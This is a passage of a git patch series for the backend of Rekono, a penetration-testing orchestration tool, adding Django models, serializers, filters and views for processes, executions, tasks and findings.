"processes.step", + "pk": 7, + "fields": { + "process": 1, + "configuration": 22 + } + }, + { + "model": "processes.step", + "pk": 8, + "fields": { + "process": 1, + "configuration": 23 + } + }, + { + "model": "processes.step", + "pk": 9, + "fields": { + "process": 1, + "configuration": 24 + } + }, + { + "model": "processes.step", + "pk": 10, + "fields": { + "process": 1, + "configuration": 25 + } + }, + { + "model": "processes.step", + "pk": 11, + "fields": { + "process": 1, + "configuration": 28 + } + }, + { + "model": "processes.step", + "pk": 12, + "fields": { + "process": 1, + "configuration": 29 + } + }, + { + "model": "processes.step", + "pk": 13, + "fields": { + "process": 1, + "configuration": 32 + } + }, + { + "model": "processes.step", + "pk": 14, + "fields": { + "process": 1, + "configuration": 33 + } + }, + { + "model": "processes.step", + "pk": 15, + "fields": { + "process": 1, + "configuration": 34 + } + }, + { + "model": "processes.step", + "pk": 16, + "fields": { + "process": 1, + "configuration": 36 + } + }, + { + "model": "processes.step", + "pk": 17, + "fields": { + "process": 1, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 18, + "fields": { + "process": 1, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 19, + "fields": { + "process": 2, + "configuration": 3 + } + }, + { + "model": "processes.step", + "pk": 20, + "fields": { + "process": 2, + "configuration": 15 + } + }, + { + "model": "processes.step", + "pk": 21, + "fields": { + "process": 2, + "configuration": 21 + } + }, + { + "model": "processes.step", + "pk": 22, + "fields": { + "process": 2, + "configuration": 22 + } + }, + { + "model": "processes.step", + "pk": 23, + "fields": { + "process": 2, + "configuration": 23 + } + }, + { + "model": "processes.step", + "pk": 24, + "fields": { + "process": 2, + "configuration": 24 + } + }, + { + "model": "processes.step", + "pk": 25, + "fields": { + "process": 2, + "configuration": 25 + } + }, + { + "model": "processes.step", + "pk": 26, + "fields": { + "process": 2, + "configuration": 28 + } + }, + { + "model": "processes.step", + "pk": 27, + "fields": { + "process": 2, + "configuration": 29 + } + }, + { + "model": "processes.step", + "pk": 28, + "fields": { + "process": 2, + "configuration": 32 + } + }, + { + "model": "processes.step", + "pk": 29, + "fields": { + "process": 2, + "configuration": 33 + } + }, + { + "model": "processes.step", + "pk": 30, + "fields": { + "process": 2, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 31, + "fields": { + "process": 2, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 32, + "fields": { + "process": 3, + "configuration": 14 + } + }, + { + "model": "processes.step", + "pk": 33, + "fields": { + "process": 3, + "configuration": 22 + } + }, + { + "model": "processes.step", + "pk": 34, + "fields": { + "process": 3, + "configuration": 23 + } + }, + { + "model": "processes.step", + "pk": 35, + "fields": { + "process": 3, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 36, + "fields": { + "process": 3, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 37, + "fields": { + "process": 4, + "configuration": 3 + } + }, + { + "model": "processes.step", + "pk": 38, + "fields": { + "process": 4, + "configuration": 34 + } + }, + { + "model": "processes.step", + "pk": 39, + "fields": { + "process": 4, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 40, + "fields": { + "process": 4, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 41, + "fields": { + "process": 5, + "configuration": 37 + } + }, + { + "model": "processes.step", + "pk": 42, + "fields": { + "process": 5, + "configuration": 36 + } + }, + { + "model": "processes.step", + "pk": 43, + "fields": { + "process": 5, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 44, + "fields": { + "process": 5, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 45, + "fields": { + "process": 6, + "configuration": 19 + } + }, + { + "model": "processes.step", + "pk": 46, + "fields": { + "process": 6, + "configuration": 30 + } + }, + { + "model": "processes.step", + "pk": 47, + "fields": { + "process": 6, + "configuration": 31 + } + }, + { + "model": "processes.step", + "pk": 48, + "fields": { + "process": 1, + "configuration": 39 + } + }, + { + "model": "processes.step", + "pk": 49, + "fields": { + "process": 2, + "configuration": 39 + } + }, + { + "model": "processes.step", + "pk": 50, + "fields": { + "process": 7, + "configuration": 38 + } + }, + { + "model": "processes.step", + "pk": 51, + "fields": { + "process": 7, + "configuration": 15 + } + }, + { + "model": "processes.step", + "pk": 52, + "fields": { + "process": 7, + "configuration": 21 + } + }, + { + "model": "processes.step", + "pk": 53, + "fields": { + "process": 7, + "configuration": 22 + } + }, + { + "model": "processes.step", + "pk": 54, + "fields": { + "process": 7, + "configuration": 23 + } + }, + { + "model": "processes.step", + "pk": 55, + "fields": { + "process": 7, + "configuration": 24 + } + }, + { + "model": "processes.step", + "pk": 56, + "fields": { + "process": 7, + "configuration": 25 + } + }, + { + "model": "processes.step", + "pk": 57, + "fields": { + "process": 7, + "configuration": 28 + } + }, + { + "model": "processes.step", + "pk": 58, + "fields": { + "process": 7, + "configuration": 29 + } + }, + { + "model": "processes.step", + "pk": 59, + "fields": { + "process": 7, + "configuration": 32 + } + }, + { + "model": "processes.step", + "pk": 60, + "fields": { + "process": 7, + "configuration": 33 + } + }, + { + "model": "processes.step", + "pk": 61, + "fields": { + "process": 7, + "configuration": 34 + } + }, + { + "model": "processes.step", + "pk": 62, + "fields": { + "process": 7, + "configuration": 36 + } + }, + { + "model": "processes.step", + "pk": 63, + "fields": { + "process": 7, + "configuration": 26 + } + }, + { + "model": "processes.step", + "pk": 64, + "fields": { + "process": 7, + "configuration": 27 + } + }, + { + "model": "processes.step", + "pk": 65, + "fields": { + "process": 7, + "configuration": 39 + } + }, + { + "model": "processes.step", + "pk": 66, + "fields": { + "process": 1, + "configuration": 46 + } + }, + { + "model": "processes.step", + "pk": 67, + "fields": { + "process": 1, + "configuration": 47 + } + }, + { + "model": "processes.step", + "pk": 68, + "fields": { + "process": 1, + "configuration": 48 + } + }, + { + "model": "processes.step", + "pk": 69, + "fields": { + "process": 2, + "configuration": 48 + } + }, + { + "model": "processes.step", + "pk": 70, + "fields": { + "process": 6, + "configuration": 46 + } + }, + { + "model": "processes.step", + "pk": 71, + "fields": { + "process": 7, + "configuration": 47 + } + }, + { + "model": "processes.step", + "pk": 72, + "fields": { + "process": 7, + "configuration": 48 + } + } +] \ No newline at end of file diff --git a/src/backend/processes/models.py b/src/backend/processes/models.py new file mode 100644 index 000000000..02ff1c9b3 --- /dev/null +++ b/src/backend/processes/models.py @@ -0,0 +1,53 @@ +from django.db import models +from framework.models import BaseLike, BaseModel +from rekono.settings import AUTH_USER_MODEL +from security.utils.input_validator import Regex, Validator +from taggit.managers import TaggableManager +from tools.models import Configuration + +# Create your models here. + + +class Process(BaseLike): + name = models.TextField( + max_length=100, + unique=True, + validators=[Validator(Regex.NAME.value, code="name")], + ) + description = models.TextField( + max_length=300, validators=[Validator(Regex.TEXT.value, code="description")] + ) + owner = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) + tags = TaggableManager() + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.name + + +class Step(BaseModel): + process = models.ForeignKey(Process, related_name="steps", on_delete=models.CASCADE) + configuration = models.ForeignKey( + Configuration, on_delete=models.CASCADE, blank=True, null=True + ) + + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["process", "configuration"], name="unique_step" + ) + ] + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return f"{self.process.__str__()} - {self.configuration.__str__()}" diff --git a/src/backend/processes/serializers.py b/src/backend/processes/serializers.py new file mode 100644 index 000000000..74999b3fa --- /dev/null +++ b/src/backend/processes/serializers.py @@ -0,0 +1,62 @@ +from framework.fields import TagField +from framework.serializers import LikeSerializer +from processes.models import Process, Step +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField +from taggit.serializers import TaggitSerializer +from tools.models import Configuration, Tool +from tools.serializers import ConfigurationSerializer +from users.serializers import SimpleUserSerializer + + +class SimpleProcessSerializer(ModelSerializer): + class Meta: + model = Process + fields = ("id", "name") + + +class SimpleStepSerializer(ModelSerializer): + configuration = ConfigurationSerializer(many=False) # read_only=True, many=False) + # configuration_id = PrimaryKeyRelatedField( + # write_only=True, + # required=True, + # source="configuration", + # queryset=Configuration.objects.all(), + # ) + + class Meta: + model = Step + fields = ( + "id", + "process", + "configuration", + # "configuration_id", + ) + + +class StepSerializer(SimpleStepSerializer): + process = SimpleProcessSerializer(many=False) # (read_only=True, many=False) + # process_id = PrimaryKeyRelatedField( + # write_only=True, + # required=True, + # source="process", + # queryset=Configuration.objects.all(), + # ) + + +class ProcessSerializer(TaggitSerializer, LikeSerializer): + steps = SimpleStepSerializer(read_only=True, many=True) + owner = SimpleUserSerializer(many=False, read_only=True) + tags = TagField() + + class Meta: + model = Process + fields = ( + "id", + "name", + "description", + "owner", + "liked", + "likes", + "steps", + "tags", + ) diff --git a/src/backend/processes/urls.py b/src/backend/processes/urls.py new file mode 100644 index 000000000..52090abfe --- /dev/null +++ b/src/backend/processes/urls.py @@ -0,0 +1,10 @@ +from processes.views import ProcessViewSet, StepViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register('processes', ProcessViewSet) +router.register('steps', StepViewSet) + +urlpatterns = router.urls diff --git a/src/backend/processes/views.py b/src/backend/processes/views.py new file mode 100644 index 000000000..232cbb5ba --- /dev/null +++ b/src/backend/processes/views.py @@ -0,0 +1,38 @@ +from framework.views import BaseViewSet, LikeViewSet +from processes.filters import ProcessFilter, StepFilter +from processes.models import Process, Step +from processes.serializers import ProcessSerializer, StepSerializer + +# Create your views here. + + +class ProcessViewSet(LikeViewSet): + queryset = Process.objects.all() + serializer_class = ProcessSerializer + filterset_class = ProcessFilter + search_fields = ["name", "description"] + ordering_fields = ["id", "name", "owner", "likes_count"] + http_method_names = [ + "get", + "post", + "put", + "delete", + ] + + +class StepViewSet(BaseViewSet): + queryset = Step.objects.all() + serializer_class = StepSerializer + filterset_class = StepFilter + search_fields = [ + "process__name", + "configuration__tool__name", + "configuration__tool__command", + "configuration__name", + ] + ordering_fields = ["id", "process", "configuration"] + http_method_names = [ + "get", + "post", + "delete", + ] diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 2ec6e612a..509513fb3 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -55,6 +55,7 @@ "authentications", "input_types", "parameters", + "processes", "projects", "security", "settings", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 8f4253b5d..55382b912 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -28,6 +28,7 @@ path("api/", include("api_tokens.urls")), path("api/", include("authentications.urls")), path("api/", include("parameters.urls")), + path("api/", include("processes.urls")), path("api/", include("projects.urls")), path("api/", include("security.authentication.urls")), path("api/", include("settings.urls")), diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py index ec5dabb7a..e2f032130 100644 --- a/src/backend/tools/serializers.py +++ b/src/backend/tools/serializers.py @@ -29,15 +29,6 @@ class Meta: ) -class ConfigurationSerializer(ModelSerializer): - stage = StageField(model=Stage) - outputs = OutputSerializer(many=True) - - class Meta: - model = Configuration - fields = ("id", "name", "tool", "arguments", "stage", "default", "outputs") - - class IntensitySerializer(ModelSerializer): value = IntegerChoicesField(model=IntensityEnum) @@ -61,9 +52,18 @@ class Meta: ) +class SimpleConfigurationSerializer(ModelSerializer): + stage = StageField(model=Stage) + outputs = OutputSerializer(many=True) + + class Meta: + model = Configuration + fields = ("id", "name", "tool", "arguments", "stage", "default", "outputs") + + class ToolSerializer(LikeSerializer): intensities = IntensitySerializer(many=True) - configurations = ConfigurationSerializer(many=True) + configurations = SimpleConfigurationSerializer(many=True) arguments = ArgumentSerializer(many=True) class Meta: @@ -94,3 +94,7 @@ class Meta: "reference", "icon", ) + + +class ConfigurationSerializer(SimpleConfigurationSerializer): + tool = SimpleToolSerializer() From c81114847fd20d97412374a120e3955420622df1 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 11 Sep 2023 10:26:01 +0200 Subject: [PATCH 014/141] Remove commented code --- src/backend/processes/serializers.py | 20 +++----------------- 1 file changed, 3 insertions(+), 17 deletions(-) diff --git a/src/backend/processes/serializers.py b/src/backend/processes/serializers.py index 74999b3fa..66bb1516d 100644 --- a/src/backend/processes/serializers.py +++ b/src/backend/processes/serializers.py @@ -1,9 +1,8 @@ from framework.fields import TagField from framework.serializers import LikeSerializer from processes.models import Process, Step -from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField +from rest_framework.serializers import ModelSerializer from taggit.serializers import TaggitSerializer -from tools.models import Configuration, Tool from tools.serializers import ConfigurationSerializer from users.serializers import SimpleUserSerializer @@ -15,13 +14,7 @@ class Meta: class SimpleStepSerializer(ModelSerializer): - configuration = ConfigurationSerializer(many=False) # read_only=True, many=False) - # configuration_id = PrimaryKeyRelatedField( - # write_only=True, - # required=True, - # source="configuration", - # queryset=Configuration.objects.all(), - # ) + configuration = ConfigurationSerializer(many=False) class Meta: model = Step @@ -29,18 +22,11 @@ class Meta: "id", "process", "configuration", - # "configuration_id", ) class StepSerializer(SimpleStepSerializer): - process = SimpleProcessSerializer(many=False) # (read_only=True, many=False) - # process_id = PrimaryKeyRelatedField( - # write_only=True, - # required=True, - # source="process", - # queryset=Configuration.objects.all(), - # ) + process = SimpleProcessSerializer(many=False) class ProcessSerializer(TaggitSerializer, LikeSerializer): From 80a20bf5f24f9d511a3480315e301c19da7eca3e Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 21 Sep 2023 23:33:44 +0200 Subject: [PATCH 015/141] Add tasks, executions and tasks modules --- src/backend/authentications/models.py | 8 - src/backend/authentications/views.py | 2 - src/backend/executions/__init__.py | 0 src/backend/executions/admin.py | 6 + src/backend/executions/apps.py | 5 + src/backend/executions/enums.py | 12 + src/backend/executions/filters.py | 29 ++ src/backend/executions/models.py | 43 ++ src/backend/executions/serializers.py | 22 + src/backend/executions/urls.py | 9 + src/backend/executions/views.py | 32 ++ src/backend/findings/__init__.py | 0 src/backend/findings/admin.py | 14 + src/backend/findings/apps.py | 5 + src/backend/findings/enums.py | 55 +++ src/backend/findings/filters.py | 216 ++++++++++ src/backend/findings/framework/__init__.py | 0 src/backend/findings/framework/filters.py | 23 + src/backend/findings/framework/models.py | 30 ++ src/backend/findings/framework/serializers.py | 21 + src/backend/findings/framework/views.py | 15 + src/backend/findings/models.py | 395 ++++++++++++++++++ src/backend/findings/serializers.py | 164 ++++++++ src/backend/findings/urls.py | 19 + src/backend/findings/views.py | 170 ++++++++ src/backend/framework/filters.py | 31 ++ src/backend/framework/models.py | 7 +- src/backend/parameters/models.py | 16 - src/backend/rekono/settings.py | 3 + src/backend/rekono/urls.py | 3 + .../security/authorization/permissions.py | 24 +- src/backend/security/authorization/roles.py | 120 +++--- src/backend/security/utils/input_validator.py | 14 + src/backend/target_ports/models.py | 8 - src/backend/targets/models.py | 8 - src/backend/targets/views.py | 3 - src/backend/tasks/__init__.py | 1 + src/backend/tasks/admin.py | 6 + src/backend/tasks/apps.py | 5 + src/backend/tasks/enums.py | 10 + src/backend/tasks/filters.py | 27 ++ src/backend/tasks/models.py | 79 ++++ src/backend/tasks/serializers.py | 100 +++++ src/backend/tasks/urls.py | 9 + src/backend/tasks/views.py | 118 ++++++ src/backend/tools/serializers.py | 2 - src/backend/tools/views.py | 2 - 47 files changed, 1767 insertions(+), 124 deletions(-) create mode 100644 src/backend/executions/__init__.py create mode 100644 src/backend/executions/admin.py create mode 100644 src/backend/executions/apps.py create mode 100644 src/backend/executions/enums.py create mode 100644 src/backend/executions/filters.py create mode 100644 src/backend/executions/models.py create mode 100644 src/backend/executions/serializers.py create mode 100644 src/backend/executions/urls.py create mode 100644 src/backend/executions/views.py create mode 100644 src/backend/findings/__init__.py create mode 100644 src/backend/findings/admin.py create mode 100644 src/backend/findings/apps.py create mode 100644 src/backend/findings/enums.py create mode 100644 src/backend/findings/filters.py create mode 100644 src/backend/findings/framework/__init__.py create mode 100644 src/backend/findings/framework/filters.py create mode 100644 src/backend/findings/framework/models.py create mode 100644 src/backend/findings/framework/serializers.py create mode 100644 src/backend/findings/framework/views.py create mode 100644 src/backend/findings/models.py create mode 100644 src/backend/findings/serializers.py create mode 100644 src/backend/findings/urls.py create mode 100644 src/backend/findings/views.py create mode 100644 src/backend/tasks/__init__.py create mode 100644 src/backend/tasks/admin.py create mode 100644 src/backend/tasks/apps.py create mode 100644 src/backend/tasks/enums.py create mode 100644 src/backend/tasks/filters.py create mode 100644 src/backend/tasks/models.py create mode 100644 src/backend/tasks/serializers.py create mode 100644 src/backend/tasks/urls.py create mode 100644 src/backend/tasks/views.py diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index af710ffed..bbc0d3dab 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -76,14 +76,6 @@ def __str__(self) -> str: """ return f"{self.target_port.__str__()} - {self.name}" - def get_project(self) -> Project: - """Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - """ - return self.target_port.target.project - @classmethod def get_project_field(cls) -> str: return "target_port__target__project" diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index 79aa358e4..43114ae68 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -19,5 +19,3 @@ class AuthenticationViewSet(BaseViewSet): "post", "delete", ] - - # members_field = "target_port__target__project__members" diff --git a/src/backend/executions/__init__.py b/src/backend/executions/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/executions/admin.py b/src/backend/executions/admin.py new file mode 100644 index 000000000..065c91472 --- /dev/null +++ b/src/backend/executions/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from executions.models import Execution + +# Register your models here. + +admin.site.register(Execution) diff --git a/src/backend/executions/apps.py b/src/backend/executions/apps.py new file mode 100644 index 000000000..d61110031 --- /dev/null +++ b/src/backend/executions/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class ExecutionsConfig(AppConfig): + name = "executions" diff --git a/src/backend/executions/enums.py b/src/backend/executions/enums.py new file mode 100644 index 000000000..8ba4ce8be --- /dev/null +++ b/src/backend/executions/enums.py @@ -0,0 +1,12 @@ +from django.db import models + +# Create your enums here. + + +class Status(models.TextChoices): + REQUESTED = "Requested" + SKIPPED = "Skipped" + RUNNING = "Running" + CANCELLED = "Cancelled" + ERROR = "Error" + COMPLETED = "Completed" diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py new file mode 100644 index 000000000..559decbd9 --- /dev/null +++ b/src/backend/executions/filters.py @@ -0,0 +1,29 @@ +from django_filters.rest_framework import FilterSet +from executions.models import Execution + + +class ExecutionFilter(FilterSet): + class Meta: + model = Execution + fields = { + "task": ["exact"], + "task__target": ["exact"], + "task__target__target": ["exact", "icontains"], + "task__target__project": ["exact"], + "task__target__project__name": ["exact", "icontains"], + "task__process": ["exact"], + "group": ["exact"], + "task__process__name": ["exact", "icontains"], + "task__intensity": ["exact"], + "task__executor": ["exact"], + "task__executor__username": ["exact", "icontains"], + "configuration": ["exact"], + "configuration__name": ["exact", "icontains"], + "configuration__tool": ["exact"], + "configuration__tool__name": ["exact", "icontains"], + "configuration__stage": ["exact"], + "status": ["exact"], + "enqueued_at": ["gte", "lte", "exact"], + "start": ["gte", "lte", "exact"], + "end": ["gte", "lte", "exact"], + } diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py new file mode 100644 index 000000000..69ec42bd0 --- /dev/null +++ b/src/backend/executions/models.py @@ -0,0 +1,43 @@ +from django.db import models +from executions.enums import Status +from tasks.models import Task +from tools.models import Configuration + +# Create your models here. + + +class Execution(models.Model): + """Execution model.""" + + task = models.ForeignKey(Task, related_name="executions", on_delete=models.CASCADE) + group = models.IntegerField(default=1) + # Job Id in the executions queue + rq_job_id = models.TextField(max_length=50, blank=True, null=True) + configuration = models.ForeignKey( + Configuration, on_delete=models.CASCADE, blank=True, null=True + ) + output_file = models.TextField(max_length=50, blank=True, null=True) + output_plain = models.TextField(blank=True, null=True) + output_error = models.TextField(blank=True, null=True) + skipped_reason = models.TextField(blank=True, null=True) + status = models.TextField( + max_length=10, choices=Status.choices, default=Status.REQUESTED + ) + enqueued_at = models.DateTimeField(blank=True, null=True) + start = models.DateTimeField(blank=True, null=True) + end = models.DateTimeField(blank=True, null=True) + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + if self.task.process: + return f"{self.task.__str__()} - {self.configuration.__str__()}" + else: + return self.task.__str__() + + @classmethod + def get_project_field(cls) -> str: + return "task__target__project" diff --git a/src/backend/executions/serializers.py b/src/backend/executions/serializers.py new file mode 100644 index 000000000..9669e6190 --- /dev/null +++ b/src/backend/executions/serializers.py @@ -0,0 +1,22 @@ +from executions.models import Execution +from rest_framework.serializers import ModelSerializer +from tools.serializers import ConfigurationSerializer + + +class ExecutionSerializer(ModelSerializer): + configuration = ConfigurationSerializer(many=False, read_only=True) + + class Meta: + model = Execution + fields = ( + "id", + "task", + "group", + "configuration", + "output_plain", + "output_error", + "skipped_reason", + "status", + "start", + "end", + ) diff --git a/src/backend/executions/urls.py b/src/backend/executions/urls.py new file mode 100644 index 000000000..c90cca486 --- /dev/null +++ b/src/backend/executions/urls.py @@ -0,0 +1,9 @@ +from executions.views import ExecutionViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register('executions', ExecutionViewSet) + +urlpatterns = router.urls diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py new file mode 100644 index 000000000..9370d06f2 --- /dev/null +++ b/src/backend/executions/views.py @@ -0,0 +1,32 @@ +from executions.filters import ExecutionFilter +from executions.models import Execution +from executions.serializers import ExecutionSerializer +from framework.views import BaseViewSet + +# Create your views here. + + +class ExecutionViewSet(BaseViewSet): + queryset = Execution.objects.all() + serializer_class = ExecutionSerializer + filterset_class = ExecutionFilter + search_fields = [ + "task__target__target", + "task__process__name", + "configuration__tool__name", + "configuration__name", + ] + ordering_fields = [ + "id", + "task", + "group", + "configuration", + "configuration__tool", + "creation", + "enqueued_at", + "start", + "end", + ] + http_method_names = [ + "get", + ] diff --git a/src/backend/findings/__init__.py b/src/backend/findings/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/findings/admin.py b/src/backend/findings/admin.py new file mode 100644 index 000000000..90f0056db --- /dev/null +++ b/src/backend/findings/admin.py @@ -0,0 +1,14 @@ +from django.contrib import admin +from findings.models import (OSINT, Credential, Path, Port, Exploit, + Host, Technology, Vulnerability) + +# Register your models here. + +admin.site.register(OSINT) +admin.site.register(Host) +admin.site.register(Port) +admin.site.register(Path) +admin.site.register(Technology) +admin.site.register(Vulnerability) +admin.site.register(Credential) +admin.site.register(Exploit) diff --git a/src/backend/findings/apps.py b/src/backend/findings/apps.py new file mode 100644 index 000000000..af6190ab1 --- /dev/null +++ b/src/backend/findings/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class FindingsConfig(AppConfig): + name = "findings" diff --git a/src/backend/findings/enums.py b/src/backend/findings/enums.py new file mode 100644 index 000000000..9d04e2664 --- /dev/null +++ b/src/backend/findings/enums.py @@ -0,0 +1,55 @@ +from django.db import models + + +class Severity(models.TextChoices): + INFO = "Info" + LOW = "Low" + MEDIUM = "Medium" + HIGH = "High" + CRITICAL = "Critical" + + +class OSINTDataType(models.TextChoices): + IP = "IP" + DOMAIN = "Domain" + VHOST = "VHOST" + URL = "Url" + EMAIL = "Email" + LINK = "Link" + ASN = "ASN" + USER = "Username" + PASSWORD = "Password" + + +class HostOS(models.TextChoices): + LINUX = "Linux" + WINDOWS = "Windows" + MACOS = "MacOS" + IOS = "iOS" + ANDROID = "Android" + SOLARIS = "Solaris" + FREEBSD = "FreeBSD" + OTHER = "Other" + + +class PortStatus(models.TextChoices): + OPEN = "Open" + OPEN_FILTERED = "Open - Filtered" + FILTERED = "Filtered" + CLOSED = "Closed" + + +class Protocol(models.TextChoices): + UDP = "UDP" + TCP = "TCP" + + +class PathType(models.TextChoices): + ENDPOINT = "ENDPOINT" + SHARE = "SHARE" + + +class TriageStatus(models.TextChoices): + FALSE_POSITIVE = "False Positive" + TRUE_POSITIVE = "True Positive" + UNTRIAGED = "Untriaged" diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py new file mode 100644 index 000000000..5e0183512 --- /dev/null +++ b/src/backend/findings/filters.py @@ -0,0 +1,216 @@ +from findings.framework.filters import FindingFilter +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) +from framework.filters import ( + MultipleCharFilter, + MultipleChoiceFilter, + MultipleFieldFilterSet, + MultipleNumberFilter, +) + + +class OSINTFilter(FindingFilter): + class Meta: + model = OSINT + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "data": ["exact", "icontains"], + "data_type": ["exact"], + "source": ["exact", "icontains"], + } + ) + + +class HostFilter(FindingFilter): + class Meta: + model = Host + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "address": ["exact", "icontains"], + "os": ["exact", "icontains"], + "os_type": ["exact"], + } + ) + + +class PortFilter(FindingFilter): + class Meta: + model = Port + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "host": ["exact"], + "host__address": ["exact", "icontains"], + "port": ["exact"], + "status": ["exact"], + "protocol": ["iexact"], + "service": ["exact", "icontains"], + } + ) + + +class PathFilter(FindingFilter): + class Meta: + model = Path + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "port": ["exact"], + "port__host": ["exact"], + "port__host__address": ["exact", "icontains"], + "port__port": ["exact"], + "path": ["exact", "icontains"], + "status": ["exact"], + "type": ["exact"], + } + ) + + +class TechnologyFilter(FindingFilter): + class Meta: + model = Technology + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "port": ["exact"], + "port__host": ["exact"], + "port__host__address": ["exact", "icontains"], + "port__port": ["exact"], + "name": ["exact", "icontains"], + "version": ["exact", "icontains"], + "description": ["exact", "icontains"], + "related_to": ["exact"], + } + ) + + +class CredentialFilter(FindingFilter): + class Meta: + model = Credential + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "technology": ["exact"], + "technology__port": ["exact"], + "technology__port__host": ["exact"], + "technology__port__host__address": ["exact", "icontains"], + "technology__port__port": ["exact"], + "technology__name": ["exact", "icontains"], + "technology__version": ["exact", "icontains"], + "email": ["exact", "icontains"], + "username": ["exact", "icontains"], + "secret": ["exact", "icontains"], + } + ) + + +class VulnerabilityFilter(FindingFilter): + port = MultipleNumberFilter(fields=["technology__port", "port"]) + port__port = MultipleNumberFilter(fields=["technology__port__port", "port__port"]) + host = MultipleNumberFilter(fields=["technology__port__host", "port__host"]) + host__address = MultipleCharFilter( + fields=["technology__port__host__address", "port__host__address"] + ) + host__os_type = MultipleChoiceFilter( + fields=["technology__port__host__os_type", "port__host__os_type"] + ) + + class Meta: + model = Vulnerability + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "technology": ["exact"], + "technology__name": ["exact", "icontains"], + "technology__version": ["exact", "icontains"], + "name": ["exact", "icontains"], + "description": ["exact", "icontains"], + "severity": ["exact"], + "cve": ["exact", "contains"], + "cwe": ["exact", "contains"], + "osvdb": ["exact", "contains"], + } + ) + + +class ExploitFilter(FindingFilter): + port = MultipleNumberFilter( + fields=[ + "technology__port", + "vulnerability__port", + "vulnerability__technology__port", + ] + ) + port__port = MultipleNumberFilter( + fields=[ + "technology__port__port", + "vulnerability__port__port", + "vulnerability__technology__port__port", + ] + ) + host = MultipleNumberFilter( + fields=[ + "technology__port__host", + "vulnerability__port__host", + "vulnerability__technology__port__host", + ] + ) + host__address = MultipleCharFilter( + fields=[ + "technology__port__host__address", + "vulnerability__port__host__address", + "vulnerability__technology__port__host__address", + ] + ) + host__os_type = MultipleChoiceFilter( + fields=[ + "technology__port__host__os_type", + "vulnerability__port__host__os_type", + "vulnerability__technology__port__host__os_type", + ] + ) + technology = MultipleNumberFilter( + fields=[ + "technology", + "vulnerability__technology", + ] + ) + technology__name = MultipleCharFilter( + fields=[ + "technology__name", + "vulnerability__technology__name", + ] + ) + technology__version = MultipleCharFilter( + fields=[ + "technology__version", + "vulnerability__technology__version", + ] + ) + + class Meta: + model = Exploit + fields = FindingFilter.Meta.fields.copy() + fields.update( + { + "vulnerability": ["exact"], + "vulnerability__name": ["exact", "icontains"], + "vulnerability__severity": ["exact"], + "vulnerability__cve": ["exact", "contains"], + "vulnerability__cwe": ["exact", "contains"], + "vulnerability__osvdb": ["exact", "contains"], + "title": ["exact", "icontains"], + "edb_id": ["exact"], + "reference": ["exact", "icontains"], + } + ) diff --git a/src/backend/findings/framework/__init__.py b/src/backend/findings/framework/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/findings/framework/filters.py b/src/backend/findings/framework/filters.py new file mode 100644 index 000000000..12e6a3a4e --- /dev/null +++ b/src/backend/findings/framework/filters.py @@ -0,0 +1,23 @@ +from findings.models import OSINT +from framework.filters import MultipleFieldFilterSet + + +class FindingFilter(MultipleFieldFilterSet): + class Meta: + model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten + fields = { + "executions": ["exact"], + "executions__configuration__tool": ["exact"], + "executions__configuration__tool__name": ["exact", "icontains"], + "executions__task": ["exact"], + "executions__task__target": ["exact"], + "executions__task__target__target": ["exact", "icontains"], + "executions__task__target__project": ["exact"], + "executions__task__target__project__name": ["exact", "icontains"], + "executions__task__executor": ["exact"], + "executions__task__executor__username": ["exact", "icontains"], + "first_seen": ["gte", "lte", "exact"], + "last_seen": ["gte", "lte", "exact"], + "triage_status": ["exact"], + "triage_comment": ["exact", "icontains"], + } diff --git 